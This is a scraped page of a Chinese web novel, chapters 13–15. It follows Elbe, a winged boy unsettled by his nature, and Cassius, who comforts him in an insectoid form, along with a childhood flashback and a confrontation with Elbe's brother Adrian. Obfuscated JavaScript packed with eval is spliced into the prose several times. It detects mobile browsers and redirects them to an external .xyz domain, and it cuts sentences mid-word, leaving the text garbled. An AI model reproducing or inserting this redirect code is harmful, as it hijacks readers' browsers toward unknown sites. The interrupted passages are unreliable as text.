可紧接着更加怪异的事情又会发生在下一秒,紧紧包围着他的生活,提醒他去正视自己根本就不同于正常人类的怪诞之处。 他甚至不敢回自己的房间,下意识地跑向了卡修斯的寝室——那是他潜意识里觉得目前最安全的地方。 一进门一股熟悉的,带着卡修斯独有的冷冽气息的环境让他稍微感到有些安定,可内心巨大的恐慌和查理斯突然非人的举动带来的冲击留下的后遗症依旧让他浑身控制不住地发抖。 艾尔贝几乎是凭着本能拉开了卡修斯衣柜的门,将自己缩成一团后挤进挂着的那一排军装之间,仿佛这样就能被熟悉的气味包裹,隔绝外面那个突然变得可怕又不可理解的世界。 他把脸埋在膝盖里,透明的翅膀在身后无力地耷拉着。 后面不知过了多久,衣柜的门被人从外面轻轻拉开,光线涌入。 艾尔贝被发现后只是微微一颤,随后又将自己缩得更紧。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16236360|179304||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 卡修斯高大的身影挡住了绝大部分照进来的光,他沉默地看着柜子里的缩成一团的艾尔贝,猩红的眼瞳中看不出情绪,只是周身的气息与平日相比多了一丝无奈。 他没有立刻说话打扰正沉浸在自己幻想出的安全堡垒里的艾尔贝,只是小心地伸出手,几乎是以一种轻柔的态度将这个瑟瑟发抖的雪白团子从一堆衣物里挖了出来。 艾尔贝没有反抗,任由卡修斯将他抱出,又被放在冰冷的军床边缘。他低着头什么都不解释,也不敢看卡修斯,只是用手指紧紧揪着身下的床单。 卡修斯在他身边坐下,沉默像一道坚实的屏障,他没有追问,也没有安抚,因为只是他的存在本身就为艾尔贝带来了一种奇异却有效的安抚。 良久,艾尔贝细微又带着哽咽的声音响起: “卡修斯…我会不会是一个怪物?” 他终于抬起头,晶莹的眼睛里载满了水汽和迷茫,还有一丝难以察觉的自我厌恶。 “我长了一对奇怪的翅膀……我想吃,也吃掉了一些恶心的东西……还有查理斯!他…他……” 艾尔贝说不下去了,光是回想起那个画面就让他再次感到反胃和战栗。 卡修斯转过头来看着他,回答得没有一丝犹豫:“我也是怪物。” 艾尔贝愣住了。 卡修斯继续用低沉的声音说下去,表情平淡的仿佛只是在陈述一个再简单不过的事实: “可你就是你,我也只是我,所以不管变成什么样,”他顿了顿,语气却是前所未有的郑重,“我都会陪着你。” 话音落下的瞬间,卡修斯的身体开始发生剧变: 他的身形迅速膨胀变大,虫族形态坚硬的暗红色甲刺破军服,前肢舒展泛着冷光的镰刀,一条带着尖锐骨刺的蝎尾自他的身后扬起,灵活地摆动着。 顶上灯光被他庞大的身躯彻底遮挡住,投下了巨大的阴影。即使是军部特质的坚硬金属床在他不断增加的重量加持下也发出了不堪重负,即将损坏的嘎吱声。 艾尔贝被他震惊到竟在这一刻忘记了悲伤,看着眼前这具充满力量与毁灭美感的巨大虫族原型,他下意识脱口而出:“这张床要被你压坏了!” 卡修斯的声音从他那可怖的口器中传出,带着近乎无情的意味:“让查理斯处理去。” “正好让他有点事做,别来烦你。” 他挪动了一下身体,小心地将虫形态唯一相对柔软的腹部下方那块区域露出来,这处的甲壳略显薄弱,接着,他又用那条布满骨节与尖端锋利的蝎尾,却以与它狠戾外表截然不同的轻柔态度,小心地,缓慢地环过艾尔贝的身体,将他揽到自己腹下柔软的地带,形成一个充满保护意味的禁锢圈。 就像一头巨龙小心地将身体盘绕,守护着自己最珍贵的宝藏。 被卡修斯庞大的原型身躯包裹,听着他平稳的心跳声,或者说是他某个类似功能的器官搏动,艾尔贝紧绷的神经不知为何竟真的感到了放松,恐惧和混乱暂时真的就这么被卡修斯给驱散了。 他们有一搭没一搭地继续聊着,但更多的是艾尔贝在断断续续地诉说,卡修斯依旧沉默地听。 渐渐地,艾尔贝的声音越来越小,精神上的极度疲惫和来自卡修斯身上传来的安全感最终征服了他,他在坚硬甲壳环绕的温暖巢穴里沉沉地睡去,眼角还残留着连他自己都未曾发现的清浅泪痕,最后又在不知觉的情况下又被卡修斯舔舐而去。 14.十三章 艾尔贝分不清这是一个梦,还是过去的回忆。 记忆碎片如同被阳光穿透的尘埃,缓缓聚拢,这一刻在他的精神海中变得莫名清晰。 这次被梦境投射出的场景是他在经历那件影响恶劣的霸凌事件后被家里人转入新幼学院的第一天。 坐满孩童的童稚房间里空气中都弥漫着蜡笔和点心的甜腻气味,小小的艾尔贝,顶着一头与其他孩子格格不入的纯白头发,睁着大大的银色眼睛怯生生地打量着这个新环境。 查理斯细致地蹲下来替他整理好背后由自己亲手缝上的毛绒翅膀,眸中暗暗显露出不易察觉的担忧——他担心小艾尔贝会再次因为特殊的外貌受到排挤。 不过,这次的情况着实有些出乎他的意料。 查理斯看见了这个另一个“特殊”的存在,卡修斯抬起头,用同样与其他人格格不入的猩红瞳孔盯着他。 他坐在这里,比周围的那些同龄的孩子更为高大,也更沉默寡言,那双天生的猩红色眼瞳让即使年龄尚且较小的他看起来竟比一些生性邪恶的成年人还要可怖。 但让查理斯感到奇怪的是,卡修斯在这里非但没有被排挤,反而被这群孩子紧紧簇拥着,在这所幼学中,他在孩子群中的地位俨然是最高的那一个。 艾尔贝的母亲为自己的孩子精挑细选了一所新的学校,在这所幼学里的孩子们大多也都来自军人家庭,总体的素质要比先前的那所贵族幼学好上许多。 他们对于这位新来的,看起来就像一只雪精灵般的艾尔贝表现出了好奇,以及接纳。 “我们来玩过家家吧!” 自由活动期间一个活泼的小女孩对着人群提议道,这里或许经常会进行类似的游戏,她很快就自然而然地开始分配角色: “……艾尔贝这么好看,他来当公主!而卡修斯是最厉害的那一个,就来当保护公主的骑士吧!” 站在她旁边的男孩提出了异议:“可是艾尔贝不是男孩子吗,男孩子怎么当公主?” 这名小女孩转过头去反驳他:“那你能在我们之中再找出来一个比他还要漂亮的‘’公主’吗?” 他扫视一眼,顿时没有了异议。 小孩子们的世界观就是这么简单又直接,美丽的当公主,强大的当骑士,好像是某种天经地义。 有人偷偷打量卡修斯的表情,以往这个时候卡修斯都会因为觉得无聊而先行离开,自己一个人回到教室里看书,但这次他竟然留了下来,甚至还愿意与他们一起玩游戏! 这个男孩咽了口唾沫,还好他来扮演骑士,不然要是扮演怪物估计大家都会被吓跑,谁还能保护的了公主? 艾尔贝对于这项名为“过家家”的游戏感到很好奇,他答应了,就这么站在原处被一群小女孩套上了一条用亮闪闪彩纸做的“公主裙”,手里还塞了一朵塑料花。 和查理斯为他讲的睡前故事里似乎有些不一样,艾尔贝有些不知所措地看着站在距离他们不远处的查理斯,但管家只是静静地看着这一切,嘴角还扬起淡淡的弧度。 而推选为“骑士”的卡修斯脸上却没什么表情,只是默默接过了别人递来的“宝剑”——一根涂了银漆的小木棍,然后站到了艾尔贝的身边。 艾尔贝还没有代入到属于他的公主角色中,他看着自己被卡修斯牢牢握紧的手,表情还有些迷茫:“骑士都是这样保护公主的吗?” 卡修斯点点头,他用那副认真的表情,仿佛真的是一名拥护着公主的骑士,正在承担他的职责。 …… “不行不行!我们还没有选出谁来当怪物呢!骑士还没有打败最大的怪物怎么能证明他能保护公主呢?童话故事里都有大怪物,我们不能没有!” 很快就有孩子附和道:“对啊!打怪物!” “可是……谁来当怪物?”他的话音刚落方才还热闹的气氛现在瞬间就冷却下来。 这群孩子面面相觑,谁也不愿意主动开口去饰演故事中丑陋又可怕的“怪物”。 他们彼此推搡着,很快就有人开始小声抱怨起来。 艾尔贝看着面前这番场景,下意识地靠近了卡修斯,因为他知道自己和卡修斯都是“异类”。 或许……故事里的怪物本该由他们来饰演。 就在现场的气氛逐渐开始变得微妙时,一个温和的声音突然又插了进来。 查理斯看着“骑士”牵起自家“公主”的手,脸上的笑意变得更深,甚至深到有些咬牙切齿,他走近这群小演员主动,开口解围道: “既然你们都不想做那个怪物,那么就由我来扮演,可以吗?” 孩子们听见他的话后都愣了一下,但随即又爆发出欢呼:“好耶!!” “大人本来就是一群怪物!” “他来演怪物肯定很厉害,也很合适。” 于是就这样危机被解除,游戏得以继续。 查理斯所扮演的“怪物”自然是收敛了一些危险性 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“卡…卡修斯?”艾尔贝被笼罩在阴影里,有些疑惑地推了推挡在自己面前的镰刀,发现自己根本就推不动。 于是他出于理所当然地摸了摸身后这只大虫子对他露出的腹部,仿佛天生就知道该怎么安抚卡修斯一样:“我没事的,快点放开我吧。” “大家还要一起继续玩游戏呢。” 15.十四章 “卡修斯霸占了艾尔贝。” 下午茶时间,艾尔贝在中学部的同桌米莉愤怒地咀嚼着嘴里的草莓奶油面包,她用刀将果酱在面团上抹成某个讨厌鬼的脸,随后狠狠咬一口,眉飞色舞地继续向她的好闺蜜们吐槽: “你们是没看到,他简直太过分了!” 米莉挥舞着叉子,“星际文学课分组,老师刚说完自由组合的时候,我都还没来得及转头问艾尔贝,卡修斯那家伙就不知道从哪里冒出来,直接拎起艾尔贝的书包带子,就怎么当着我的面把人拽到最后一排的角落里去了!” 她夸张地模仿着卡修斯当时那冷冰冰的语气:“‘他跟我一组。’我的天!一点请求或者客气的意思都没有,艾尔贝居然也就乖乖跟着他走了,别人都是同桌两两组队,只有我呆呆地站在原地看着他们两个在哪里卿卿我我,气死我了!” 坐在她对面的女生推了推眼镜,冷静分析道:“这是他们两个的常态吧,让我更意外的是你竟然到现在还没有习惯吗?” “据说他们从幼学部起就这样了。”洛梨作为学生会副会长知道的消息比其他几个人都多,“有和他们一起从那个幼学部升学来的同学说过,艾尔贝一直都像是卡修斯私人所有的……嗯……宝贝挂件?别人多看一眼都要被那双红眼睛盯得发毛的地步。” “就是就是!”另一个捧端着奶茶的短发女孩加入声讨,“上次戏剧社参与晚宴节目表演的时候想找艾尔贝帮忙去表演王子,因为原本的演员吃坏了肚子才不得不这么做,结果社长刚把剧本递给艾尔贝第二天就发现剧本被整齐地‘碎尸’在社团信箱里,是用激光刀切的!凶手未免也太明显,除了卡修斯还有谁干得出来?” 米莉狠狠吸了一口果汁,哀叹道:“可怜的艾尔贝,长得那么好看,性格又软,就这么被卡修斯圈禁了!同班的同学哪怕想和他说句话都得提前观察一下卡修斯在不在旁边,就连我也不能和他多说话,天天都跟做贼一样!” 与此同时,中央食堂里卡修斯面无表情地将自己餐盘里最大的一块炸鱼排夹到艾尔贝的盘子里,艾尔贝正低头专注地看着手里的数据板,上面是卡修斯在机械军事课上帮他修正后的机甲结构图。 “先吃点东西再看。”卡修斯的声音依旧没什么起伏。 艾尔贝头也没抬,下意识地“啊”了一声,张开了嘴。 随后卡修斯动作熟练地将一小块切好的蘸好了酱汁的鱼排喂到他嘴里。 艾尔贝嚼了嚼,他的眼睛始终着数据板,因为嘴里的东西还没来得及咽下去,问出的话语有些含糊不清:“谢谢卡修斯……腿部矩阵这里的的参数是不是还有点问题?” “嗯,这里假设条件不全,我稍后帮你补上。”卡修斯用叉子尖端点了点数据板的某个角落,然后又切了一块苹果,递到艾尔贝嘴边。 艾尔贝再次无比自然地张口接受了投喂,全程目光都没离开过屏幕,仿佛这一切早已寻常如呼吸。 所谓的“霸占”,在当事人这里或许只是“一个愿打一个愿挨”沉默而坚实的陪伴。 而那些女孩们愤怒声讨的“圈禁”,在艾尔贝看来大概就只是卡修斯表达出的虽然笨拙但却绝对可靠的一种方式。 幻梦中有很多片段都是模糊的雾团,甚至还有一些记忆再现时艾尔贝觉得有些陌生,他站在梦中的港湾,仿佛自己只是这场剧本的看客而不是演绎的主角。 卡修斯始终站在他的身边,坚实的安全感化作了实质般包裹着梦中的艾尔贝,两人相处时的记忆都最终汇聚成深植于心的信赖。 睡梦中的艾尔贝,在卡修斯庞大原型筑成的温暖巢穴里无意识地翻了个身,他柔软的脸颊轻轻蹭了蹭身下温热的腹部甲壳,嘴角微微上扬。 他的心里其实也很清楚,无论自己是什么,无论前方有什么,他的“骑士”卡修斯永远都会陪在他身边,践行自己曾经许下恒久而弥定的责任。 就像现在这样,为艾尔贝的心里带来此刻他所需要的安宁。 指挥官做到艾德里安这个地位一般的中小型战事已经不会亲自上场,在摩多利星除了常规的分发任务和例会这些需要本人到场的工作外,其它的文书工作都被他转移到私人住所来处理。 但现在,比起眼前成堆的文书,他自认为还有一件更重要的事要做。 两人相约的书房内弥漫着旧书和雪松的沉稳气息,艾德里安没有迂回,讲述了近期艾尔贝的一系列异常表现。 “......他的身体机能似乎出现了问题,食量比以前要少得多。” 查理斯坐在冰凉的谈判椅上安静地听着,金色的眼瞳在灯光下显得深邃难测,一只 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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他站起身,从随身携带来的古老公文包里取出一本看起来有些年头的,用皮革精心包裹的日记本,封面上没有任何字样,只有一角烫印着一朵小而精致的小苍兰花。 查理斯将日记本轻轻放在艾德里安面前的桌上。 “这是夫人留下的日记,”查理斯的声音低沉下来,“里面记录了他们曾经的研究心得......还有一些心路历程。他们离开的时候你们都还太过年幼,便一直都由我代为保,但我想现在是时候交给您了。” “如何处置,由您来决定。” 交代完剩下的话查理斯微微躬身,他不再多言,直接离开了书房,只留下艾德里安独自一人面对那本沉甸甸的日记,以及日记里所蕴含的更加沉重的现实。 16.十五章 艾尔贝在卡修斯腹部规律而温热的搏动声中睡得无比沉酣,仿佛回到了生命最初的安全港湾。那些琐碎而温馨的记忆碎片,暂时抚平了他因血脉躁动和诡异渴望而产生的焦虑与恐惧。 然而,现实的引力终究将他从深眠中拉回。 意识沉浮在一片朦胧的暖意里,他能感觉到环绕着自己坚硬的甲壳壁垒,以及那条小心环护着他的蝎尾无意识间轻微的摆动,这份安全感如此真切。 艾尔贝纤长的睫毛颤动几下,不情不愿地睁开眼睛。 映入眼帘的并非卧室熟悉的天花板,而是卡修斯原型腹部的暗红色内甲,视野被这庞大的非人身躯完全占据,鼻尖上还萦绕着卡修斯身上独有的冷冽金属和某种奇异信息素的气息。 昨晚的一切记忆瞬间回,他的脸颊还贴在温热的甲壳上,甚至能感受到其下缓慢而有力的搏动,卡修斯毫无保留的守护确实安慰到了他,但随之而来的却是更深的迷茫与自我怀疑。 艾尔贝第一次正式审视这个问题,自己到底是什么?一直陪伴在他身边查理斯和卡修斯似乎也不太正常,为什么自己从前都将这些异常忽略了? 触及到被篡改的记忆与认知,艾尔贝的大脑有些发懵。 似乎是察觉到他醒了,卡修斯环绕着他的蝎尾轻动了一下,那巨大狰狞的虫首也低了下来,猩红的复眼看向艾尔贝,内里闪烁的红光似乎在询问他是否安好。 艾尔贝勉强扯出一个笑容,伸出手指戳了戳面前的甲壳:“我没事了,卡修斯。谢谢你。”他的声音中带着刚睡醒时的软糯,以及难以掩饰的虚弱。 卡修斯发出了一声低沉类似嗡鸣的回应,紧接着他庞大的原型开始缓缓收缩剧变,坚硬的甲壳消退,可怖的肢节收回......他再次恢复了人类形态。 房间似乎都因此变得更宽敞了些,艾尔贝从衣柜里拿出昨日被他慌忙的动作弄乱的衣服递给卡修斯,面颊染上一丝红晕,有些不好意思地说道:“抱歉,把你带过来仅剩的常服揉皱了。” “没事。” 卡修斯接过衣服,当着艾尔贝的面脱下作战服内衬,露出健壮的身躯,艾尔贝在一旁偷偷打量了一番,不自觉地生出一番比拼的心思,他悄悄背过去掀开自己的衣服,低头只看见一片白花花的细腻皮肤。 和卡修斯那种块块分明的肌肉根本没法比,他立刻把衣服放下去,耳朵尖染上一丝薄红,随机摇摇头努力想将那些混乱的思绪压下去,这幅羞涩的模样恰好又落入了闻到风声后特意前来看望他的兄长眼中。 艾德里安推开房门时映入眼帘的就是这样一幕:他的弟弟衣摆凌乱地坐在床边,脸上泛起不自然的潮红,眼神微微躲闪,而站在他身后的卡修斯竟然正赤裸着上半身,伸手接过艾尔贝亲自递过的衣服...... “嗡” 一股热血瞬间涌进进艾德里安的大脑,那些他曾经在查理斯那里偶尔听闻到的关于他宝贝弟弟和这个红眼小子在学校里的风言风语瞬间在耳畔浮现:“形影不离”,“有人向我反映卡修斯霸占艾尔贝”,“艾尔贝就像是他的所有物”…… 他原本只当是这两个孩子一向关系好,或是卡修斯单方面的保护欲过强,但他从未想过……从未想过有一天会亲眼看到眼前这幅暧昧不清又引人遐想的场面! 他的弟弟,那么单纯,那么柔软可爱的艾尔贝,被这个一直以来在自己面前都沉默寡言的家伙给诱骗了?! 这个心思阴沉,兽面兽心的卡修斯! 艾德里安再也压抑不住心中的怒火,他的声音陡然拔高,带着毫不掩饰的愤怒: “你们在干什么!” 他大步流星地跨进房间,一把将坐在床边表情还有些发懵的艾尔贝拉到身后,用自己的身体隔开了两人,此刻他暗红色的眼眸淬满寒冰,狠狠刺向不远处正面无表情地继续穿衣服的卡修斯。 “卡修斯!” 艾德里安几乎是咬紧牙关一字一句地念出这个名字,“我觉得你应该给我一个解释。” 他的目光扫过卡修斯精壮的上身和一旁凌乱的床铺,心理怒火更甚,毕竟作为一个成年男性,虽然为了照顾弟弟一直以来都刻意不近女色,但身边的那些表面一套背地一套的军官他接触也知道得太多,自然也很清楚现在这一幕容易让人联想到什么。 艾尔贝被哥哥突如其来的怒火吓到,他知道艾德里安误会了自己与卡修斯的关系,于是想开口解释:“哥哥,不是你想的那样!我们只是好朋友……” “艾尔贝,你先别说话!”艾德里安罕见地严厉打断弟弟的话,他现在满心都是自家小白菜可能被猪拱了的愤怒和焦虑,根本听不进任何解释。 随后转头紧紧盯着卡修斯,属于高阶军官的压迫感在这一刻毫不保留地都释放出来,他质问眼前这名被公认的年少有为的后辈: “回答我!” 卡修斯系扣子的动作顿都没顿一下,他甚至没有因为艾德里安的怒火而表现出丝毫的慌乱,他只是慢条斯理地扣好最后一颗纽扣,然后才抬起那双波澜不惊的眼睛,平静地回视着几乎要喷火的艾德里安。 “对,我们在谈恋爱。” 卡修斯的回答言简意赅,声音一如既往地没什么起伏,仿佛只是在陈述一个客观事实: “在我这里,他睡得比较安稳。” 这个表面简单包含的意义却不简单的回答被正处于暴怒中的艾德里安听进耳里简直就是明目张胆的敷衍和挑衅! “卡修斯!你在说什么啊?”艾尔贝趁哥哥彻底失控前连忙抱住他的手臂,拦下他掏枪的动作:“不是的哥哥,你别听他乱说!” “我.......我只是做了个噩梦所以有些害怕,昨夜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16278242|179304||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你恰巧又不在,我便来找他了,但是我们真的什么也没做!” “噩梦?在这里睡得比较安稳?”艾德里安气极反笑,“有多害怕还需要他脱了衣服陪你睡?!” 艾德里安越过挡在自己身前的艾尔贝,直勾勾地看向卡修斯整理完仪容后带上面具的脸,那张可怖的面具挡住了他此时的表情,但艾德里安能肯定他在对自己表达不屑:“卡修斯我警告你,艾尔贝现在还小什么也不懂,如果你敢利用他对你的信任对他产生什么不该有的心思,甚至是诱骗他做出什么出格的事情,我绝对会让你后悔来到这个世上!”最后那句话几乎就是赤裸裸的威胁,每一个字带着鲜明的杀意。 艾尔贝怎么都没想到场面会发展成现在这个样子,他急得脸都涨红了,一边是疼爱自己的哥哥,一边是关系好的挚友,两个对他来说都很重要的人却在自己面前上演箭弩拔扈的对话,特别是艾德里安此刻已经被“弟弟可能被占便宜”的恐慌愤怒冲昏了头脑,根本听不进他任何的辩解。 卡修斯看着焦急的艾尔贝,又看了看怒发冲冠的艾德里安,沉默了片刻。 他原本不打算再多做什么解释,但为了让艾尔贝安下心,还是选择了用一句话来表明自己的立场: “我永远不会伤害他。” 说完,他对着艾尔贝微微点头示意,无视艾德里安几乎要杀人的目光径直朝门外走去。 “在我面前你们两个对什么暗语呢?”艾德里安气笑了,他还想发作,却被警觉的艾尔贝死死拉住。 “哥哥!求你了!”艾尔贝每次犯错时都会像这样拉着他的衣袖,嗲着嗓音,那双大大的眼睛里满是恳求:“卡修斯不擅长解释,他今天还有任务要进行,不要为难他了好不好。” 现在就剩下了他们两个人,弟弟还撒着娇来安抚自己,艾德里安满腔的怒火就像是被戳破的气球泄掉了大半,只剩下浓浓的无奈和更深的担忧。 他最终还是没有追出去,看着卡修斯的背影,眼神无比复杂。 艾德里安转过身,宽厚的双手按住了艾尔贝的肩膀,语气沉重中又带着一丝后怕: “艾尔贝,你听哥哥说,你还小,很多事情你不明白……” “哥哥知道你和他一直以来关系都很好,但他是一个很危险的存在,离他远一点,好不好?” “万一有一天他失控伤害你的时候我不在你的身边......到那时候可能一切都晚了。” 艾尔贝张了张嘴想为卡修斯反驳,但看着哥哥眼中真切的担忧和焦虑,最终还是选择把那些可能会再次激怒艾德里安的话语咽了下去,他低下头闷闷地“嗯”了一声,心里却是对艾德里安的警告不以为然。 因为他相信卡修斯永远都不会伤害自己。 这份信任没有任何理由,只因为那个人是卡修斯,所以他可以断定。